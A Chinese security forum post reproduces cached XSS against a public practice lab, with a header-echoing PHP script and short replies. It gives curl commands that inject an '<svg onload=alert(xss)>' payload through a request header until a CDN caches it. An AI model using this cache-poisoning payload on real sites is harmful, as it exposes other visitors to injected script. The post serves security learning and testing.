用户
搜索

[思路/技术] 浅谈缓存XSS

  • TA的每日心情

    2019-1-1 09:55
  • 签到天数: 103 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋-见习白帽

    Rank: 3Rank: 3

    1

    主题

    43

    帖子

    1215

    魔法币
    收听
    2
    粉丝
    0
    注册时间
    2018-4-8
    发表于 2019-9-27 07:09:40 31500

    0x00  简介

    缓存XSS漏洞即为通过利用CDN of WAF缓存记录使被攻击者接受到存在XSS payload的缓存文件。
    通常这些服务充当流量负载平衡和反向代理,并储存经常检索的文件,以此减少Web服务器的延迟。

    0x01 工具介绍

    本文中利用缓存Xss漏洞所使用的是curl,在开始之前我先简单介绍一下curl及使用方法。

    curl是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。对于网页处理流程和数据检索自动化,curl有很强的处理能力。
    文中使用的命令:

    -iH
    -i/–include 输出时包括protocol头信息
    -H/–header <line> 自定义头信息传递给服务器

    使用方法:

    curl -iH "你想包含的header信息" 目标地址

    0x02 利用方法

    文中使用的程序,代码为:

    <?php
    echo json_encode(getallheaders());
    //php7.3才可正常运行

    或者可以使用已经搭好的靶场:Header Xss

    正常的响应:
    image

    攻击方法:

    curl -iH "test:<svg onload=alert(xss)>" https://brutelogic.com.br/lab/header.php?xxx(此处自己修改)

    image
    可以看见x-sucuri-cache值为MISS,多发送几次payload直到x-sucuri-cache变为HIT。
    验证是否成功缓存(响应中存在payload即为缓存成功):

    curl -i https://brutelogic.com.br/lab/header.php?同上

    image

    使用浏览器访问(图是朋友夕颜的,所以地址不一致不用管):
    image

    0x03 后话

    本文是借鉴了国外文章XSS via HTTP Headers
    目前只是简单的复现了一下,对该漏洞的影响范围并不是很清楚。根据cdn缓存的工作原理,这个漏洞应该是可以影响到所以访问这个页面的用户,但是该靶场复现时却只能在本机成功,不清楚是靶场的设置还是cdn缓存本来就是这样。

    加油加油
    使用道具 举报 回复
    发表于 2019-9-27 12:51:30
    膜拜表哥
    使用道具 举报 回复
    发表于 2019-9-27 22:07:23
    膜拜膜拜
    路漫漫,
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册